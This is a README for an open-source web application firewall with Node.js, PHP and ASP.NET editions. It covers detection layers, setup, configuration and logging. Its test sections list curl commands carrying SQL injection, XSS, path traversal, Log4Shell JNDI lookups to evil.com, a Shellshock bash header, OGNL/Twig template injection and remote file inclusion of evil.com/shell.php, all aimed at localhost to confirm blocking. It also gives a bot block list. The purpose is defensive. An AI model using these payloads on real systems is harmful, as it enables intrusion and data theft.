Designed, built and maintained by saarors
A production-ready Web Application Firewall (WAF) with zero external runtime dependencies. Available as an npm package for Node.js, Bun, and Express — as a drop-in PHP auto-prepend file — and as an ASP.NET HttpModule for classic .NET Web Forms / MVC.
All versions share the same rule sets, detection philosophy, and NDJSON log format.
- Protections
- Node.js & Bun
- PHP
- ASP.NET (.aspx)
- Middleware pipeline
- Log format
- Security headers
- Project structure
- Important notes
- License & credits
| Layer | How it works | |
|---|---|---|
| 📊 | Entropy Scanner | Shannon entropy (H = -Σ p·log₂p) on every param — catches shellcode, multi-encoded payloads and base64 bombs with zero signatures |
| 🧠 | Heuristic Engine | Structural zero-day detection — encoding mix density, bracket nesting depth, keyword-per-char ratio, function chain depth, operator storms, polyglot payloads |
| 🔗 | Multi-Vector Correlation | Catches attacks split across 3+ parameters that are individually harmless but dangerous together |
| 🔄 | Mutation Tracker | Levenshtein distance tracking per IP — detects payload fuzzing / WAF bypass attempts in real time |
| 🏷️ | Semantic Type Check | 80+ param names with known types — if id= contains <script> or page= contains SQL, it fires |
| ⏱️ | Request Rhythm | Timing analysis — detects machine-regular bots (stddev < 50ms), burst scanners, and low-and-slow cron scanners |
| 🛡️ | DDoS Protection | Burst limiter, global flood guard, fingerprint flood, path flood, URL/header size guards, optional tarpitting |
| Layer | What it catches | Rules |
|---|---|---|
| SQL Injection | UNION SELECT, stacked queries, blind (SLEEP/WAITFOR), EXTRACTVALUE, UPDATEXML, GTID_SUBSET, EXP(~()), sys schema, CASE WHEN, @@version |
38 |
| XSS | Script tags, on*= handlers, DOM sinks, AngularJS {{}}, data URIs, SVG animate, CSS @import, -moz-binding, meta refresh |
29 |
| Path Traversal | ../ sequences, null bytes, PHP wrappers, Windows paths (C:\, system32), /boot/grub, .env, .git/, .ssh/ |
18 |
| Command Injection | Shell pipes, PowerShell, wget/curl RCE, Python/Ruby/Perl/PHP/Node CLI, netcat, whoami, env dump | 18 |
| SSTI | Jinja2, Twig, FreeMarker, Velocity, Smarty, ERB, OGNL/Struts2, Spring4Shell, Tornado | 18 |
| RFI | HTTP/FTP/SMB/expect:// inclusion, log poisoning, /proc/self/environ — file-param names only |
6 |
| Log4Shell | CVE-2021-44228 — JNDI LDAP/RMI/DNS + all obfuscation variants | 6 |
| Shellshock | CVE-2014-6271 — () { :; }; scanned in every header |
2 |
| NoSQL Injection | MongoDB $ne, $gt, $where, $regex, $expr — params + bracket notation |
11 |
| LDAP Injection | Filter bypass, parenthesis injection, null-byte, uid/admin wildcard, hex chars | 6 |
| Deserialization | PHP O:N:, Java AC ED 00 05 (base64 + hex), Python pickle, node-serialize RCE |
7 |
| SSRF | Private IPs, cloud metadata (169.254.169.254, Azure, GCP), dangerous URI schemes | 3 |
| XXE | DOCTYPE, ENTITY SYSTEM/PUBLIC, parameter entities, XInclude — XML bodies only | 5 |
| Open Redirect | Absolute URLs or // in redirect/return/next/dest params |
1 |
| Prototype Pollution | __proto__, constructor.prototype in query/body/JSON keys |
1 |
| CRLF / Header Injection | HTTP response splitting, host-header injection | — |
| Rate Limiting | Sliding-window per IP — configurable window, limit, block duration. Redis-ready | — |
| IP Filter | Blacklist + whitelist with CIDR — IPv4 and IPv6 | — |
| Bad Bot Blocking | 115+ blocked signatures: sqlmap, nmap, curl, wget, ffuf, nuclei, Metasploit (msf/), python-*, HTTP clients, libcurl, Postman, Insomnia… | — |
| Automation Detection | Detects suspicious User-Agent patterns (curl, python, perl, ruby, java, libcurl, scrapy, mechanize) | — |
| HTTP Method Filter | Rejects TRACE, CONNECT, and any non-configured verb | — |
| Request Size Limit | Content-Length header check + streaming byte guard |
— |
| Security Headers | HSTS, CSP, COOP, CORP, COEP, Referrer-Policy, Permissions-Policy, NEL — X-Powered-By stripped |
— |
Dual mode: mode: 'reject' blocks · mode: 'log-only' audits without blocking (recommended for first deploy)
npm:
npm install firewtwallBun:
bun add firewtwallExample (works with both):
const express = require('express');
const { createWAF } = require('firewtwall');
const app = express();
// Parse body BEFORE the WAF so it can inspect request data
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
// Mount the WAF — spread the returned middleware array
app.use(...createWAF());
app.get('/', (req, res) => res.json({ ok: true }));
app.listen(3000);fireWTwall fully supports Bun — a fast JavaScript runtime that's fully compatible with Node.js APIs.
Run with Bun:
bun example/server.jsPerformance benefits:
- Faster startup than Node.js
- Lower memory footprint
- Identical security protection
- No code changes needed
See docs/nodejs/bun.md for complete Bun documentation.
const { createWAF, setStore } = require('firewtwall');
app.use(...createWAF({
mode: 'reject', // 'reject' | 'log-only'
rateLimit: {
windowMs: 60_000, // 1-minute sliding window
maxRequests: 100, // max requests per window per IP
blockDurationMs: 600_000, // 10-minute block after violation
},
whitelist: ['127.0.0.1', '10.0.0.0/8'], // bypass all checks
blacklist: ['203.0.113.0/24'], // always block
bypassPaths: ['/health', '/metrics'], // skip WAF entirely
trustedProxies: ['172.16.0.1'], // honour X-Forwarded-For
logPath: './logs/waf.log', // NDJSON log
responseType: 'json', // 'json' | 'html'
debug: false, // see Debug mode below
}));app.use(...createWAF({ debug: true }));When debug: true every request — pass and block — is fully traced:
| What changes | Detail |
|---|---|
| All requests logged | Every request lands in the NDJSON log with processing time and checks run |
| X-WAF-* response headers | Four headers expose the outcome to the caller |
| Verbose log fields | Raw matched value, decoded value, and exact rule name are included |
Response headers in debug mode:
| Header | Example value | Present |
|---|---|---|
X-WAF-RequestId |
f47ac10b58cc1122 |
Always |
X-WAF-Result |
passed or blocked |
Always |
X-WAF-Rule |
sql-union-select |
Blocked only |
X-WAF-Time |
0.83ms |
Always |
Passed request — log entry:
{
"timestamp": "2026-03-30T10:00:00Z",
"requestId": "f47ac10b58cc1122",
"ip": "127.0.0.1",
"method": "GET",
"path": "/",
"result": "passed",
"processingTimeMs": 0.42,
"checksRun": 16
}Blocked request — log entry:
{
"timestamp": "2026-03-30T10:00:01Z",
"requestId": "a1b2c3d4e5f6a7b8",
"ip": "203.0.113.42",
"method": "GET",
"path": "/search",
"result": "blocked",
"rule": "sql-union-select",
"matched": "UNION SELECT",
"decoded": "UNION SELECT",
"source": "query",
"severity": "critical",
"processingTimeMs": 0.83,
"userAgent": "sqlmap/1.7"
}Catch nmap in debug mode:
# Fire nmap at your dev server
nmap -sV localhost -p 3000
# See the blocked probe in the log
npx waf-log --blocked --rule nmap
⚠️ Never usedebug: truein production — it leaks internal rule names to the caller.
# Last 50 entries (default)
npx waf-log
# Last 100 entries from a custom log file
npx waf-log --tail 100 ./logs/waf.log
# Stats — top rules, top IPs, severity breakdown
npx waf-log --stats
# Only blocked requests
npx waf-log --blocked
# Filter by IP or rule (partial match)
npx waf-log --ip 203.0.113.42
npx waf-log --rule sql
# Entries after a timestamp
npx waf-log --since 2026-03-30T00:00:00Z
# Raw NDJSON — pipe-friendly
npx waf-log --json | jq .Replace the built-in in-memory store with any key-value backend:
const { createWAF, setStore } = require('firewtwall');
const redis = require('ioredis');
const client = new redis();
setStore({
get: async (key) => JSON.parse(await client.get(key) ?? 'null'),
set: async (key, value) => client.set(key, JSON.stringify(value)),
del: async (key) => client.del(key),
});
app.use(...createWAF());| Key | Default | Description |
|---|---|---|
mode |
'reject' |
'reject' blocks · 'log-only' audits |
allowedMethods |
['GET','POST','PUT','PATCH','DELETE','OPTIONS','HEAD'] |
Permitted HTTP verbs |
maxBodySize |
10485760 |
Max Content-Length in bytes (10 MB) |
rateLimit.windowMs |
60000 |
Sliding-window duration in ms |
rateLimit.maxRequests |
100 |
Requests allowed per window per IP |
rateLimit.blockDurationMs |
600000 |
Block duration after violation |
whitelist |
[] |
IPs / CIDRs that bypass all checks |
blacklist |
[] |
IPs / CIDRs that are always blocked |
bypassPaths |
['/health','/ping'] |
Paths that skip all WAF checks |
trustedProxies |
[] |
Enable X-Forwarded-For parsing |
logPath |
'./logs/waf.log' |
NDJSON log file path |
responseType |
'json' |
Block response: 'json' or 'html' |
debug |
false |
Full request tracing + X-WAF-* headers |
Types ship with the package — no @types/ install needed:
import { createWAF, setStore, WAFOptions, StoreAdapter } from 'firewtwall';
const opts: WAFOptions = {
mode: 'reject',
debug: false,
blacklist: ['203.0.113.0/24'],
};
app.use(...createWAF(opts));# SQL injection → 403
curl "http://localhost:3000/?q=1+UNION+SELECT+*+FROM+users"
# XSS → 403
curl "http://localhost:3000/?q=<script>alert(1)</script>"
# Path traversal → 403
curl "http://localhost:3000/?file=../../etc/passwd"
# Command injection → 403
curl "http://localhost:3000/?cmd=|cat+/etc/passwd"
# CRLF injection → 400
curl -H $'X-Header: foo\r\nInjected: bar' http://localhost:3000/
# SSRF — cloud metadata → 403
curl "http://localhost:3000/?url=http://169.254.169.254/latest/meta-data"
# SSRF — private IP → 403
curl "http://localhost:3000/?redirect=http://192.168.1.1/admin"
# XXE — external entity → 403
curl -X POST http://localhost:3000/upload \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>'
# Open redirect → 403
curl "http://localhost:3000/login?returnUrl=//evil.com"
# Prototype pollution → 403
curl "http://localhost:3000/?__proto__[admin]=true"
# Log4Shell (CVE-2021-44228) — scanned in every header → 403
curl -H 'User-Agent: ${jndi:ldap://evil.com/a}' http://localhost:3000/
# Log4Shell obfuscated variant → 403
curl -H 'X-Api-Version: ${${lower:j}ndi:ldap://evil.com/a}' http://localhost:3000/
# Shellshock (CVE-2014-6271) — any header → 403
curl -H 'User-Agent: () { :; }; /bin/bash -c "id"' http://localhost:3000/
# SSTI — Jinja2/Python → 403
curl "http://localhost:3000/?name={{__class__.__mro__}}"
# SSTI — Twig → 403
curl "http://localhost:3000/?tpl={{_self.env.registerUndefinedFilterCallback('exec')}}"
# SSTI — Struts2/OGNL → 403
curl "http://localhost:3000/?redirect=%{#a=new+java.lang.ProcessBuilder({'id'}).start()}"
# Remote file inclusion → 403
curl "http://localhost:3000/?file=http://evil.com/shell.php"
# NoSQL injection — MongoDB $ne → 403
curl "http://localhost:3000/login?user[$ne]=x&pass[$ne]=x"
# NoSQL injection — JSON body → 403
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"user": {"$ne": null}, "pass": {"$ne": null}}'
# LDAP injection → 403
curl "http://localhost:3000/search?user=*)(uid=*))(|(uid=*"
# PHP deserialization → 403
curl "http://localhost:3000/?data=O:8:\"stdClass\":0:{}"
# Java deserialization (base64 magic) → 403
curl "http://localhost:3000/?payload=rO0ABXNy"
# Bad bot (Metasploit) → 403
curl -A "msf/1.0" http://localhost:3000/
# Bad bot (tplmap) → 403
curl -A "tplmap/0.5" http://localhost:3000/
# Clean request → 200
curl http://localhost:3000/- PHP ≥ 8.0
- APCu extension (optional but recommended — file-based fallback included)
Option A — Composer (recommended):
composer require saarors/firewtwall-phpThen load it at the top of your entry point:
<?php
require_once __DIR__ . '/vendor/autoload.php';
require_once __DIR__ . '/vendor/saarors/firewtwall-php/php/waf.php';Or via php.ini / .htaccess (auto-runs before every script):
auto_prepend_file = /path/to/vendor/saarors/firewtwall-php/php/waf.phpOption B — php.ini (server-wide, no Composer):
auto_prepend_file = /absolute/path/to/fireWTwall/php/waf.phpOption C — .htaccess (per-directory, Apache):
php_value auto_prepend_file "/absolute/path/to/fireWTwall/php/waf.php"Option D — manual include (any framework):
<?php
require_once '/path/to/fireWTwall/php/waf.php';
// Your application starts here<?php
return [
'allowed_methods' => ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS', 'HEAD'],
'max_body_size' => 10 * 1024 * 1024, // 10 MB
'rate_limit' => [
'window_sec' => 60,
'max_requests' => 100,
'block_duration_sec' => 600,
],
'whitelist' => [], // IPs / CIDRs that bypass all checks
'blacklist' => [], // IPs / CIDRs always blocked
'bypass_paths' => ['/health', '/ping'],
'trusted_proxies' => [],
'mode' => 'reject', // 'reject' | 'log-only'
'log_path' => __DIR__ . '/../logs/waf.log',
'response_type' => 'json', // 'json' | 'html'
'debug' => false,
];| Backend | When used | Notes |
|---|---|---|
| APCu | APCu extension loaded | Fast, atomic, shared across PHP-FPM workers |
| File-based | Fallback | Uses sys_get_temp_dir() — safe for shared hosting |
Enable APCu in php.ini:
extension=apcu
apc.enabled=1Set 'debug' => true in waf.config.php. The same X-WAF-* response headers and verbose NDJSON log entries as the Node.js version will be produced.
⚠️ Disable in production. Debug mode exposes rule names to the client.
fireWTwall runs as a standard IHttpModule — the same mechanism used by ASP.NET's built-in security features. It fires on every request before your code runs, regardless of whether the target is an .aspx page, MVC controller, Web API endpoint, or .ashx handler.
- .NET Framework 4.7.2 or later
- IIS 7.5+ or IIS Express
System.Web,System.Runtime.Caching, andSystem.Web.Extensionsassemblies (all included in .NET 4.7.2+)
Step 1 — Add the source files to your project.
Copy the aspnet/src/ directory into your web project or a referenced class library:
YourProject/
├── FireWTWall/
│ ├── WafHttpModule.cs ← IHttpModule entry point
│ ├── WAF.cs ← 17-step pipeline
│ ├── WafConfig.cs ← Singleton configuration
│ ├── WafRequest.cs ← HttpContext wrapper
│ ├── WafResponse.cs ← Block responses + security headers
│ ├── WafLogger.cs ← NDJSON logger
│ ├── IpFilter.cs ← CIDR blacklist / whitelist
│ ├── RateLimiter.cs ← MemoryCache sliding-window limiter
│ ├── DdosProtection.cs ← 7-layer DDoS protection
│ └── detectors/ ← 17 individual threat detectors
│ └── ...
└── Web.config
Step 2 — Register the HttpModule in Web.config:
<configuration>
<system.webServer>
<!-- IIS Integrated pipeline (recommended) -->
<modules>
<add name="FireWTWallModule" type="FireWTWall.WafHttpModule" />
</modules>
</system.webServer>
<!-- IIS Classic pipeline (legacy) -->
<system.web>
<httpModules>
<add name="FireWTWallModule" type="FireWTWall.WafHttpModule" />
</httpModules>
</system.web>
</configuration>That's it. The WAF now intercepts every request automatically.
Override defaults in Global.asax.cs Application_Start:
protected void Application_Start(object sender, EventArgs e)
{
WafConfig.Current.Mode = "log-only"; // start in audit mode
WafConfig.Current.ResponseType = "json"; // or "html"
WafConfig.Current.RateLimit.MaxRequests = 100;
WafConfig.Current.RateLimit.WindowSec = 60;
WafConfig.Current.RateLimit.BlockDurationSec = 600;
WafConfig.Current.MaxBodySize = 10 * 1024 * 1024;
WafConfig.Current.Whitelist = new[] { "127.0.0.1", "10.0.0.0/8" };
WafConfig.Current.Blacklist = new[] { "203.0.113.42" };
WafConfig.Current.BypassPaths = new[] { "/health", "/ping" };
WafConfig.Current.TrustedProxies = new[] { "172.16.0.1" };
// Custom log path (must be writable by IIS app pool)
WafConfig.Current.LogPath = Server.MapPath("~/App_Data/waf.log");
}Key settings:
| Property | Default | Description |
|---|---|---|
Mode |
"reject" |
"reject" blocks · "log-only" audits |
MaxBodySize |
10485760 |
Max Content-Length in bytes |
RateLimit.WindowSec |
60 |
Sliding window in seconds |
RateLimit.MaxRequests |
100 |
Requests per IP per window |
RateLimit.BlockDurationSec |
600 |
Block duration after violation |
Whitelist |
[] |
IPs / CIDRs that bypass all checks |
Blacklist |
[] |
IPs / CIDRs that are always blocked |
BypassPaths |
["/health","/ping"] |
URL prefixes that skip all checks |
TrustedProxies |
[] |
Enable X-Forwarded-For parsing |
LogPath |
App_Data/waf.log |
NDJSON log file path |
ResponseType |
"json" |
Block response: "json" or "html" |
Debug |
false |
Adds X-WAF-* headers (see Debug mode below) |
See docs/aspnet/configuration.md for the full reference including DDoS and bot config.
WafConfig.Current.Debug = true;Adds four response headers to every request and logs all passing requests:
| Header | Example | Present |
|---|---|---|
X-WAF-RequestId |
f47ac10b58cc1122 |
Always |
X-WAF-Result |
passed or blocked |
Always |
X-WAF-Rule |
sql-union-select |
Blocked only |
X-WAF-Time |
0.83ms |
Always |
Tail the log in PowerShell:
Get-Content .\App_Data\waf.log -Wait |
ForEach-Object { $_ | ConvertFrom-Json }
⚠️ Never useDebug = truein production — it exposes rule names in response headers.
See docs/aspnet/debug-mode.md for full details.
# Clean request — should return 200
curl -i http://localhost/
# SQL injection — should return 403
curl -i "http://localhost/?q=1+UNION+SELECT+*+FROM+users"
# XSS — should return 403
curl -i "http://localhost/?q=<script>alert(1)</script>"
# Path traversal — should return 403
curl -i "http://localhost/?file=../../etc/passwd"
# Command injection — should return 403
curl -i "http://localhost/?cmd=|whoami"
# Log4Shell (CVE-2021-44228) — should return 403
curl -H 'X-Api-Version: ${jndi:ldap://evil.com/a}' -i http://localhost/
# Shellshock (CVE-2014-6271) — should return 403
curl -H 'User-Agent: () { :; }; /bin/bash -c "id"' -i http://localhost/
# SSRF — cloud metadata — should return 403
curl -i "http://localhost/?url=http://169.254.169.254/latest/meta-data"
# Open redirect — should return 403
curl -i "http://localhost/login?returnUrl=//evil.com"
# NoSQL injection — should return 403
curl -i "http://localhost/login?user[$ne]=x&pass[$ne]=x"
# SSTI — Jinja2 — should return 403
curl -i "http://localhost/?name={{__class__.__mro__}}"
# Bad bot — should return 403
curl -A "sqlmap/1.0" -i http://localhost/
# Rate limit test — send 110 requests rapidly
for i in {1..110}; do curl -s -o /dev/null -w "%{http_code}\n" http://localhost/; doneRequests pass through 23 stages (Node.js) / 22 stages (PHP) in this order:
Request
│
├─ 1 Security headers → added to every response regardless of outcome
├─ 2 Request size → 413 if Content-Length exceeds limit
├─ 3 HTTP method → 405 if verb not in allowedMethods
├─ 4 IP filter → whitelist bypasses everything; blacklist → 403
├─ 5 Rate limiting → 429 + Retry-After if window exceeded
├─ 6 Bot detection → 403 if User-Agent matches 97 blocked signatures
├─ 7 Prototype pollution → 403 (__proto__, constructor.prototype in keys)
├─ 8 SSRF → 403 (private IPs, cloud metadata, URI schemes)
├─ 9 XXE → 403 (XML bodies with DOCTYPE / ENTITY / XInclude)
├─ 10 Open redirect → 403 (absolute URL in redirect-style params)
├─ 11 Header injection (CRLF) → 400
├─ 12 Path traversal → 403 (18 rules)
├─ 13 Command injection → 403 (18 rules)
├─ 14 SQL injection → 403 (38 rules)
├─ 15 XSS → 403 (29 rules)
├─ 16 SSTI → 403 (18 rules — Jinja2, Twig, OGNL, Spring, ERB…)
├─ 17 RFI → 403 (6 rules — HTTP/FTP/SMB/expect/log-poison)
├─ 18 Log4Shell → 403 (6 rules — CVE-2021-44228 + all obfuscations)
├─ 19 Shellshock → 403 (2 rules — CVE-2014-6271, scans ALL headers)
├─ 20 NoSQL injection → 403 (11 rules — MongoDB operators + bracket syntax)
├─ 21 LDAP injection → 403 (6 rules — filter bypass, null-byte, wildcard)
└─ 22 Deserialization → 403 (7 rules — PHP, Java, Python, node-serialize)
│
▼
Application
Pattern-based stages (12–22) scan: query params · request body · URL path · cookies · all headers
Log4Shell (stage 18) and Shellshock (stage 19) scan every HTTP header — not just params.
Every blocked request appends one NDJSON line to the log file:
{
"timestamp": "2026-03-30T15:30:00Z",
"requestId": "f47ac10b58cc1122",
"ip": "203.0.113.42",
"method": "GET",
"path": "/search",
"rule": "sql-union-select",
"matched": "UNION SELECT",
"source": "query",
"severity": "critical",
"userAgent": "sqlmap/1.7"
}Severity levels: critical · high · medium
Sources: query · body · path · cookie:<name> · user-agent · header:<name>
| Header | Value |
|---|---|
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
Content-Security-Policy |
default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none' |
X-Content-Type-Options |
nosniff |
X-Frame-Options |
SAMEORIGIN |
X-XSS-Protection |
1; mode=block |
Referrer-Policy |
strict-origin-when-cross-origin |
Permissions-Policy |
geolocation=(), microphone=(), camera=(), payment=(), usb=(), interest-cohort=() |
Cross-Origin-Opener-Policy |
same-origin |
Cross-Origin-Resource-Policy |
same-origin |
Cross-Origin-Embedder-Policy |
require-corp |
X-Permitted-Cross-Domain-Policies |
none |
NEL |
{"report_to":"default","max_age":31536000,"include_subdomains":true} |
X-Powered-By |
(removed) |
fireWTwall/
├── aspnet/ ← ASP.NET HttpModule (IIS / Web Forms / MVC)
│ ├── src/
│ │ ├── WafHttpModule.cs ← IHttpModule — registered in Web.config
│ │ ├── WAF.cs ← 17-step pipeline orchestrator
│ │ ├── WafConfig.cs ← Singleton config (set in Application_Start)
│ │ ├── WafRequest.cs ← HttpContext wrapper + deep URL-decode
│ │ ├── WafResponse.cs ← Block responses + security headers
│ │ ├── WafLogger.cs ← Thread-safe NDJSON logger
│ │ ├── IpFilter.cs ← IPv4/IPv6 CIDR whitelist/blacklist
│ │ ├── RateLimiter.cs ← MemoryCache sliding-window limiter
│ │ ├── DdosProtection.cs ← 7-layer DDoS protection
│ │ └── detectors/
│ │ ├── SqlInjectionDetector.cs
│ │ ├── XssDetector.cs
│ │ ├── PathTraversalDetector.cs
│ │ ├── CommandInjectionDetector.cs
│ │ ├── HeaderInjectionDetector.cs
│ │ ├── BotDetector.cs
│ │ ├── SsrfDetector.cs
│ │ ├── XxeDetector.cs
│ │ ├── OpenRedirectDetector.cs
│ │ ├── MassAssignmentDetector.cs
│ │ ├── SstiDetector.cs
│ │ ├── RfiDetector.cs
│ │ ├── Log4ShellDetector.cs
│ │ ├── ShellshockDetector.cs
│ │ ├── NoSqlInjectionDetector.cs
│ │ ├── LdapInjectionDetector.cs
│ │ └── DeserializationDetector.cs
│ ├── example/
│ │ ├── Default.aspx ← Demo page
│ │ ├── Default.aspx.cs
│ │ ├── Global.asax ← Configure WAF in Application_Start
│ │ ├── Global.asax.cs
│ │ └── Web.config ← Registers FireWTWallModule
│ └── logs/
│
├── nodejs/ ← npm package "firewtwall"
│ ├── waf.js ← Entry: createWAF(), setStore()
│ ├── index.d.ts ← TypeScript definitions
│ ├── package.json
│ ├── config/
│ │ ├── waf.config.js
│ │ └── bad-bots.json ← 97 blocked signatures
│ ├── middleware/ ← 22 independent middleware modules
│ │ ├── securityHeaders.js ← HSTS, CSP, NEL, removes X-Powered-By
│ │ ├── requestSize.js
│ │ ├── methodFilter.js
│ │ ├── ipFilter.js
│ │ ├── rateLimit.js ← Pluggable store interface
│ │ ├── botFilter.js
│ │ ├── prototypePollution.js ← __proto__, constructor.prototype
│ │ ├── ssrf.js ← Private IPs, cloud metadata, URI schemes
│ │ ├── xxe.js ← DOCTYPE, ENTITY, XInclude (XML bodies)
│ │ ├── openRedirect.js ← Absolute URLs in redirect params
│ │ ├── headerInjection.js
│ │ ├── pathTraversal.js ← 18 rules
│ │ ├── commandInjection.js ← 18 rules
│ │ ├── sqlInjection.js ← 38 rules
│ │ ├── xss.js ← 29 rules
│ │ ├── ssti.js ← 18 rules (Jinja2, Twig, OGNL, Spring, ERB…)
│ │ ├── rfi.js ← 6 rules (HTTP/FTP/SMB/expect/log-poison)
│ │ ├── log4shell.js ← 6 rules (CVE-2021-44228, all headers)
│ │ ├── shellshock.js ← 2 rules (CVE-2014-6271, all headers)
│ │ ├── nosqlInjection.js ← 11 rules (MongoDB operators + bracket notation)
│ │ ├── ldapInjection.js ← 6 rules (filter bypass, null-byte, wildcard)
│ │ └── deserialization.js ← 7 rules (PHP, Java, Python, node-serialize)
│ ├── utils/
│ │ ├── patternMatcher.js ← Multi-pass decode + cookie scanning
│ │ ├── ipUtils.js ← IPv4 + IPv6 CIDR matching
│ │ └── logger.js ← Buffered NDJSON logger
│ └── bin/
│ └── waf-log.js ← CLI log viewer
│
└── php/ ← Drop-in PHP WAF
├── waf.php ← Entry point (auto_prepend_file target)
├── composer.json
├── config/
│ ├── waf.config.php
│ └── bad-bots.php ← 97 blocked signatures
└── src/
├── WAF.php ← 22-step pipeline
├── Request.php ← Double-encoding + Unicode decode + cookies
├── IpFilter.php
├── RateLimiter.php ← APCu or file-based fallback
├── Logger.php ← NDJSON with flock
├── Response.php ← HSTS, CSP, removes X-Powered-By
└── detectors/
├── SqlInjectionDetector.php ← 38 rules
├── XssDetector.php ← 29 rules
├── PathTraversalDetector.php ← 18 rules
├── CommandInjectionDetector.php ← 18 rules
├── HeaderInjectionDetector.php
├── BotDetector.php
├── SsrfDetector.php
├── XxeDetector.php
├── OpenRedirectDetector.php
├── MassAssignmentDetector.php
├── SstiDetector.php ← 18 rules
├── RfiDetector.php ← 6 rules
├── Log4ShellDetector.php ← 6 rules (CVE-2021-44228)
├── ShellshockDetector.php ← 2 rules (CVE-2014-6271)
├── NoSqlInjectionDetector.php ← 11 rules
├── LdapInjectionDetector.php ← 6 rules
└── DeserializationDetector.php ← 7 rules
The docs/aspnet/ directory contains the full ASP.NET reference:
| File | Description |
|---|---|
| docs/aspnet/installation.md | Source copy, class library setup, Web.config registration, log protection |
| docs/aspnet/configuration.md | All WafConfig properties, DDoS settings, bot detection config |
| docs/aspnet/debug-mode.md | X-WAF-* headers, log verbosity, PowerShell log viewer |
- Start with
log-onlymode in production. Review logs for false positives before switching toreject. - The
logs/directory must be writable by the web server but not web-accessible. The includedphp/logs/.htaccesshandles this for Apache. - This WAF is a defence-in-depth layer — it does not replace parameterised queries, input validation, or proper output encoding in your application code.
- For multi-process / multi-server Node.js deployments, swap the in-memory rate-limit store with Redis (see the Redis example above).
- The CSP header shipped by default is strict. If your app loads scripts or styles from external origins, tune
Content-Security-Policyin the security-headers middleware before deploying.
MIT © saarors
| saarors | Created fireWTwall from scratch — designed the full architecture, wrote every detection rule for both the Node.js and PHP editions, built and published the npm package, and owns every release. |
All design decisions, architecture choices, and release ownership belong to saarors.